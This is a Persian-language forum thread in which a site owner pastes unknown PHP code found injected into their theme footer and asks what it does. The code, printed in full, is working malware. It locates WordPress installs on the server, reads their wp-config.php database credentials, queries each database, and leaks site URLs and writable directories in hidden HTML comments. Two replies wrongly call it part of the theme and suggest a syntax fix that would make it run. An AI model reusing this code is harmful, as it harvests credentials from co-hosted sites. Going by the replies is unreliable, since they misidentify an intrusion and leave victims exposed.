نمایش نتایج 1 تا 5 از 5

نام تاپیک: کد ناشناس پی اچ پی در پوسته سایت!

  1. #1

    کد ناشناس پی اچ پی در پوسته سایت!

    سلام خدمت کاربرای متخصص
    بتازگی یه کد در پوسته سایتم در پایین فوتر اضافه شده
    من اضافه نکردم و معلوم نیست چطور اضافه شده!
    میخواستم بدونم دقیقا کارش چیه؟



    <?phpif(stripos('win', PHP_OS) === false){ define('DS', DIRECTORY_SEPARATOR); $fullPath = dirname(__FILE__); $parts = explode(DS, $fullPath); $parts = array_slice($parts, 0, -4); $wwwroot = implode(DS, $parts);
    $wp = $fullPath . DS. '..'.DS.'..'.DS.'..'.DS.'..'. DS; $dirs = scandir($wp); $work = array(); foreach($dirs as $dir){ $full = dirname(__FILE__) . '/../../../../' . $dir . '/wp-content/'; if(file_exists($full)){ $work[] = $wwwroot .DS. $dir ; } } foreach($work as $k => $path){ $wpconf = $path . '/wp-config.php'; $f = fopen($wpconf, 'r'); $content = fread($f, filesize($wpconf)); fclose($f); $pattern = '#DB_NAME[\'\"](?:.*)?[\'\"](.*)?[\'\"]\)#isU'; preg_match_all($pattern, $content, $res); $dbname = $res[1][0];
    $pattern = '#DB_USER[\'\"](?:.*)?[\'\"](.*)?[\'\"]\)#isU'; preg_match_all($pattern, $content, $res); $dbuser = $res[1][0];
    $pattern = '#DB_PASSWORD[\'\"](?:.*)?[\'\"](.*)?[\'\"]\)#isU'; preg_match_all($pattern, $content, $res); $dbpass = $res[1][0];
    $pattern = '#DB_HOST[\'\"](?:.*)?[\'\"](.*)?[\'\"]\)#isU'; preg_match_all($pattern, $content, $res); $dbhost = $res[1][0];
    $pattern = '#\$table_prefix(?:.*)?[\'\"](.*)?[\'\"]\;#isU'; preg_match_all($pattern, $content, $res); $dbprefix = $res[1][0];
    $h = mysql_connect($dbhost, $dbuser, $dbpass) or die('ss'); mysql_select_db($dbname, $h) or die('f'); $data = mysql_query("SELECT option_value FROM ".$dbprefix."options WHERE option_name='home'") or die('d'); while($info = mysql_fetch_array( $data )) { $host[$k] = $info['option_value']; break; } mysql_close($h); }
    echo '<!--##'; echo implode("\n", $host); echo "##-->\n";
    $fold = array(); foreach($work as $i => $path){ $wpcontent = $path . '/wp-content'; $fold[$i] = get_leaf_dirs($wpcontent); } if(!empty($fold)){ echo '<!--$$'; foreach($fold as $fol){ if(!empty($fol)){ echo implode("\n", $fol); echo "\n"; } } echo '$$-->';
    }
    }if(!function_exists('scandir')) { // in case this script gets ported to PHP5, let's not break it function scandir($dir) { $files = array(); // added to initialize variable if(is_dir($dir)){ $dh = opendir($dir); // added some error-checking while(false !== ($filename = readdir($dh))) { if($filename == '.' || $filename == '..') continue; // no need to get the . or .. references, right? else $files[] = $filename; } return $files; } else { return false; } }}function get_leaf_dirs($dir) {$array = array();$d = dir($dir);while (false !== ($entry = $d->read())) {if($entry!='.' && $entry!='..') {$entry = $dir.'/'.$entry;if(is_dir($entry) && is_writable($entry)) {$subdirs = get_leaf_dirs($entry);if ($subdirs)$array = array_merge($array, $subdirs);else$array[] = $entry;}}if(sizeof($array)>0){break;}}$d->close();return $array;}?>


  2. #2

    نقل قول: کد ناشناس پی اچ پی در پوسته سایت!

    این کد یک بخش از قالب شماست که بعد از ادیت قالب فاصله بین تگ شروع پی اچ پی و if را حذف کردید اینجور شده .
    اولین خط این را :
    <?phpif

    تبدیل کنید به :
    <?php if

  3. #3

    نقل قول: کد ناشناس پی اچ پی در پوسته سایت!

    ممنون از پاسختون
    ولی دقیق متوجه نشدم
    ینی داخل یه بخشی از پوسته سایت من کد رو ناقص گذاشتم؟
    هر چی چک کردم همچین مشکلی پیدا نکردم

  4. #4

    نقل قول: کد ناشناس پی اچ پی در پوسته سایت!

    از این کد چیزی سر در نیاوردم اما دو تا مورد داره این کد
    1 - همین که us1234 گفت
    <?phpif

    2 - بستن کد php رو توی کامنت قرار دادید
    ?>

  5. #5

    نقل قول: کد ناشناس پی اچ پی در پوسته سایت!

    دوستان هنوز پاسخ مناسب دریافت نکردم
    اگر اطلاع دارید و از این کد سر در میارید منتظرم

تاپیک های مشابه

  1. سوال: ویرایش پوسته سایت
    نوشته شده توسط sara.saba90 در بخش طراحی وب (Web Design)
    پاسخ: 5
    آخرین پست: دوشنبه 14 مهر 1393, 22:05 عصر
  2. سوال: قابلیت تغییر پوسته توسط مدیر سایت
    نوشته شده توسط hamed3 در بخش ASP.NET Web Forms
    پاسخ: 3
    آخرین پست: شنبه 19 بهمن 1392, 17:34 عصر
  3. راهنمایی برای بخش تغیر پوسته در سایت .
    نوشته شده توسط jaykob در بخش طراحی وب (Web Design)
    پاسخ: 5
    آخرین پست: پنج شنبه 01 دی 1390, 13:16 عصر
  4. گفتگو: انتخاب پوسته(Theme) و زبان برای سایت
    نوشته شده توسط M.T.P در بخش گفتگو با مسئولین سایت، درخواست و پیشنهاد
    پاسخ: 2
    آخرین پست: یک شنبه 11 مهر 1389, 16:33 عصر
  5. پاسخ: 21
    آخرین پست: پنج شنبه 22 اسفند 1387, 21:22 عصر

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •